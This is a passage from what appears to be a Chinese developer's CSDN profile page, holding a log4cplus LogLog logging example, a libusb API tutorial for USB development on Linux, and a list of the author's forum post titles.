0; } 输出结果: DEBUG - This is a bool: 1 INFO - This is a char: x WARN - This is a int: 1000 ERROR - This is a long(hex): 5f5e100 FATAL - This is a double: 1.2345234234 〖例4〗 /* 调试模式,通过loglog来控制输出调试、警告或错误信息,appender输出到屏幕。 */ #include #include using namespace log4cplus::helpers; void printMsgs(void) { std::cout << "Entering printMsgs()..." << std::endl; LogLog::getLogLog()->debug("This is a Debug statement..."); LogLog::getLogLog()->warn("This is a Warning..."); LogLog::getLogLog()->error("This is a Error..."); std::cout << "Exiting printMsgs()..." << std::endl << std::endl; } int main() { /* LogLog类实现了debug, warn, error 函数用于输出调试、警告或错误信息, 同时提供了两个方法来进一步控制所输出的信息,其中: setInternalDebugging方法用来控制是否屏蔽输出信息中的调试信息,当输入 参数为false则屏蔽,缺省设置为false。 setQuietMode方法用来控制是否屏蔽所有输出信息,当输入参数为true则屏蔽, 缺省设置为false。 LogLog::getLogLog()->setInternalDebugging(false); */ printMsgs(); std::cout << "Turning on debug..." << std::endl; LogLog::getLogLog()->setInternalDebugging(true); printMsgs(); std::cout << "Turning on quiet mode..." << std::endl; LogLog::getLogLog()->setQuietMode(true); printMsgs(); return 0; } 输出结果: Entering printMsgs()... log4cplus:WARN This is a Warning... log4cplus:ERROR This is a Error... Exiting printMsgs()... Turning on debug... Entering printMsgs()... log4cplus: This is a Debug statement... log4cplus:WARN This is a Warning... log4cplus:ERROR This is a Error... Exiting printMsgs()... Turning on quiet mode... Entering printMsgs()... Exiting printMsgs()... 需要指出的是,输出信息中总是包含"log4cplus:"前缀,有时候会感觉不爽,这是因为LogLog在实现时候死定了要这么写: LogLog::LogLog() : mutex(LOG4CPLUS_MUTEX_CREATE), debugEnabled(false), quietMode(false), PREFIX( LOG4CPLUS_TEXT("log4cplus: ") ), WARN_PREFIX( LOG4CPLUS_TEXT("log4cplus:WARN ") ), ERR_PREFIX( LOG4CPLUS_TEXT("log4cplus:ERROR ") ) { } 你可以把这些前缀换成自己看着爽的提示符号,然后重新编译,hihi。除非万不得已或者实在郁闷的不行,否则还是不要这样干。

2011-07-18

libusb 源码(win32 & linux USB开发)

驱动开发向来是内核开发中工作量最多的一块,随着USB设备的普及,大量的USB设备的驱动开发也成为驱动开发者手头上做的最多的事情。本文主要介绍Linux平台下基于libusb的驱动开发,希望能够给从事Linux驱动开发的朋友带来些帮助,更希望能够给其他平台上的无驱设计带来些帮助。文章是我在工作中使用libusb的一些总结,难免有错误,如有不当的地方,还请指正。 [1]   Linux 平台上的usb驱动开发,主要有内核驱动的开发和基于libusb的无驱设计。   对于内核驱动的大部分设备,诸如带usb接口的hid设备,linux本身已经自带了相关的驱动,我们只要操作设备文件便可以完成对设备大部分的操作,而另外一些设备,诸如自己设计的硬件产品,这些驱动就需要我们驱动工程师开发出相关的驱动了。内核驱动有它的优点,然而内核驱动在某些情况下会遇到如下的一些问题:   1 当使用我们产品的客户有2.4内核的平台,同时也有2.6内核的平台,我们要设计的驱动是要兼容两个平台的,就连makefile 我们都要写两个。   2 当我们要把linux移植到嵌入平台上,你会发现原先linux自 带的驱动移过去还挺大的,我的内核当然是越小越好拉,这样有必要么。这还不是最郁闷的地方,如果嵌入平台是客户的,客户要购买你的产品,你突然发现客户设 备里的系统和你的环境不一样,它没有你要的驱动了,你的程序运行不了,你会先想:“没关系,我写个内核驱动加载一下不就行了“。却发现客户连insmod加载模块的工具都没移植,那时你就看看老天,说声我怎么那么倒霉啊,客户可不想你动他花了n时间移植的内核哦   3 花了些功夫写了个新产品的驱动,挺有成就感啊,代码质量也是相当的有水准啊。正当你沉醉在你的代码中时,客服不断的邮件来了,“客户需要2.6.5内核的驱动,config文件我已经发你了” “客户需要双核的 2.6.18-smp 的驱动” “客户的平台是自己定制的是2.6.12-xxx “ 你恨不得把驱动的源代码给客户,这样省得编译了。你的一部分工作时间编译内核,定制驱动   有问题产生必然会有想办法解决问题的人, libusb的出现给我们带来了某些方便,即节约了我们的时间,也降低了公司的成本。 所以在一些情况下,就可以考虑使用libusb的无驱设计了。   下面我们就来详细讨论一下libusb, 并以写一个hid设备的驱动来讲解如何运用libusb,至于文章中涉及的usb协议的知识,限于篇幅,就不详细讲解了,相关的可自行查看usb相关协议。   一 libusb 介绍   libusb 设计了一系列的外部API 为应用程序所调用,通过这些API应用程序可以操作硬件,从libusb的源代码可以看出,这些API 调用了内核的底层接口,和kernel driver中所用到的函数所实现的功能差不多,只是libusb更加接近USB 规范。使得libusb的使用也比开发内核驱动相对容易的多。   Libusb 的编译安装请查看Readme,这里不做详解   二 libusb 的外部接口   2.1 初始化设备接口   这些接口也可以称为核心函数,它们主要用来初始化并寻找相关设备。   usb_init   函数定义: void usb_init(void);   从函数名称可以看出这个函数是用来初始化相关数据的,这个函数大家只要记住必须调用就行了,而且是一开始就要调用的.   usb_find_busses   函数定义: int usb_find_busses(void);   寻找系统上的usb总线,任何usb设备都通过usb总线和计算机总线通信。进而和其他设备通信。此函数返回总线数。   usb_find_devices   函数定义: int usb_find_devices(void);   寻找总线上的usb设备,这个函数必要在调用usb_find_busses()后使用。以上的三个函数都是一开始就要用到的,此函数返回设备数量。   usb_get_busses   函数定义: struct usb_bus *usb_get_busses(void);   这个函数返回总线的列表,在高一些的版本中已经用不到了,这在下面的实例中会有讲解   2.2 操作设备接口   usb_open   函数定义: usb_dev_handle *usb_open(struct *usb_device dev);   打开要使用的设备,在对硬件进行操作前必须要调用usb_open 来打开设备,这里大家看到有两个结构体 usb_dev_handle 和 usb_device 是我们在开发中经常碰到的,有必要把它们的结构看一看。在libusb 中的usb.h和usbi.h中有定义。   这里我们不妨理解为返回的 usb_dev_handle 指针是指向设备的句柄,而行参里输入就是需要打开的设备。   usb_close   函数定义: int usb_close(usb_dev_handle *dev);   与usb_open相对应,关闭设备,是必须调用的, 返回0成功,<0 失败。   usb_set_configuration   函数定义: int usb_set_configuration(usb_dev_handle *dev, int configuration);   设置当前设备使用的configuration,参数configuration 是你要使用的configurtation descriptoes中的bConfigurationValue, 返回0成功,<0失败( 一个设备可能包含多个configuration,比如同时支持高速和低速的设备就有对应的两个configuration,详细可查看usb标准)   usb_set_altinterface   函数定义: int usb_set_altinterface(usb_dev_handle *dev, int alternate);   和名字的意思一样,此函数设置当前设备配置的interface descriptor,参数alternate是指interface descriptor中的bAlternateSetting。返回0成功,<0失败   usb_resetep   函数定义: int usb_resetep(usb_dev_handle *dev, unsigned int ep);   复位指定的endpoint,参数ep 是指bEndpointAddress,。这个函数不经常用,被下面介绍的usb_clear_halt函数所替代。   usb_clear_halt   函数定义: int usb_clear_halt (usb_dev_handle *dev, unsigned int ep);   复位指定的endpoint,参数ep 是指bEndpointAddress。这个函数用来替代usb_resetep   usb_reset   函数定义: int usb_reset(usb_dev_handle *dev);   这个函数现在基本不怎么用,不过这里我也讲一下,和名字所起的意思一样,这个函数reset设备,因为重启设备后还是要重新打开设备,所以用usb_close就已经可以满足要求了。   usb_claim_interface   函数定义: int usb_claim_interface(usb_dev_handle *dev, int interface);   注册与操作系统通信的接口,这个函数必须被调用,因为只有注册接口,才能做相应的操作。   Interface 指 bInterfaceNumber. (下面介绍的usb_release_interface 与之相对应,也是必须调用的函数)   usb_release_interface   函数定义: int usb_release_interface(usb_dev_handle *dev, int interface);   注销被usb_claim_interface函数调用后的接口,释放资源,和usb_claim_interface对应使用。   2.3 控制传输接口   usb_control_msg   函数定义:int usb_control_msg(usb_dev_handle *dev, int requesttype, int request, int value, int index, char *bytes, int size, int timeout);   从默认的管道发送和接受控制数据   usb_get_string   函数定义: int usb_get_string(usb_dev_handle *dev, int index, int langid, char *buf, size_t buflen);   usb_get_string_simple   函数定义: int usb_get_string_simple(usb_dev_handle *dev, int index, char *buf, size_t buflen);   usb_get_descriptor   函数定义: int usb_get_descriptor(usb_dev_handle *dev, unsigned char type, unsigned char index, void *buf, int size);   usb_get_descriptor_by_endpoint   函数定义: int usb_get_descriptor_by_endpoint(usb_dev_handle *dev, int ep, unsigned char type, unsigned char index, void *buf, int size);   2.4 批传输接口   usb_bulk_write   函数定义: int usb_bulk_write(usb_dev_handle *dev, int ep, char *bytes, int size, int timeout);   usb_interrupt_read   函数定义: int usb_interrupt_read(usb_dev_handle *dev, int ep, char *bytes, int size, int timeout);   2.5 中断传输接口   usb_bulk_write   函数定义: int usb_bulk_write(usb_dev_handle *dev, int ep, char *bytes, int size, int timeout);   usb_interrupt_read   函数定义: int usb_interrupt_read(usb_dev_handle *dev, int ep, char *bytes, int size, int timeout);

2011-07-18

CMake Practice Pdf(CMake 中文学习文档)

CMake Practice Pdf(CMake 中文学习文档)

2011-07-06

QT使用QWebEngineView的打开网页的问题

发表于 2019-05-17 最后回复 2019-07-19

Webservice调用

发表于 2017-11-28 最后回复 2018-11-13

WebServices调用不成功

发表于 2016-07-21 最后回复 2017-11-28

php socket_read() 接受C# 发送的字节数组 byte[] ,汉字出现乱码。

发表于 2016-03-27 最后回复 2017-11-28

关于qt websocket 开发

发表于 2017-08-30 最后回复 2017-08-30

谁知道这个怎么做。求方法

发表于 2014-11-06 最后回复 2016-03-27

求帮助

发表于 2015-12-29 最后回复 2016-03-27

可执行程序运行问题

发表于 2013-12-24 最后回复 2014-11-06

C#操作2个ORCAL数据库的问题

发表于 2014-05-04 最后回复 2014-11-06

HTTP数据交互测试问题

发表于 2013-12-10 最后回复 2013-12-24

HTTP编程问题

发表于 2013-12-04 最后回复 2013-12-10

delphi7 当数据库内数据发生变化时 怎么在程序中自动刷新 数据是用label显示的

发表于 2013-10-31 最后回复 2013-11-06

请教函数调用的问题

发表于 2013-10-29 最后回复 2013-10-31

StringBuilder转String

发表于 2013-10-24 最后回复 2013-10-24

さようならcsdn 30

发表于 2012-07-13 最后回复 2012-07-21

さようならcsdn 25

发表于 2012-07-11 最后回复 2012-07-18

さようならcsdn 26

发表于 2012-07-13 最后回复 2012-07-17

さようならcsdn 21

发表于 2012-07-11 最后回复 2012-07-17

さようならcsdn 22

发表于 2012-07-11 最后回复 2012-07-17

さようならcsdn 23

发表于 2012-07-11 最后回复 2012-07-17

さようならcsdn 24

发表于 2012-07-11 最后回复 2012-07-17

さようならcsdn 28

发表于 2012-07-13 最后回复 2012-07-17

さようならcsdn 29

发表于 2012-07-13 最后回复 2012-07-17

さようならcsdn 17

发表于 2012-07-10 最后回复 2012-07-11

さようならcsdn 16

发表于 2012-07-10 最后回复 2012-07-11

さようならcsdn 18

发表于 2012-07-10 最后回复 2012-07-11

さようならcsdn 19

发表于 2012-07-10 最后回复 2012-07-11

さようならcsdn 20

发表于 2012-07-10 最后回复 2012-07-11

さようならcsdn 10

发表于 2012-07-08 最后回复 2012-07-11

さようならcsdn 8

发表于 2012-07-08 最后回复 2012-07-11

さようならcsdn 7

发表于 2012-07-08 最后回复 2012-07-11

さようならcsdn 12

发表于 2012-07-10 最后回复 2012-07-11

さようならcsdn 15

发表于 2012-07-10 最后回复 2012-07-11

さようならcsdn 14

发表于 2012-07-10 最后回复 2012-07-11

さようならcsdn 11

发表于 2012-07-10 最后回复 2012-07-11

さようならcsdn 13

发表于 2012-07-10 最后回复 2012-07-11

さようならcsdn 9

发表于 2012-07-08 最后回复 2012-07-09

さようならcsdn 6

发表于 2012-07-08 最后回复 2012-07-09

さようならcsdn 5

发表于 2012-07-07 最后回复 2012-07-09

さようならcsdn 4

发表于 2012-07-07 最后回复 2012-07-09

提示
确定要删除当前文章?
取消 删除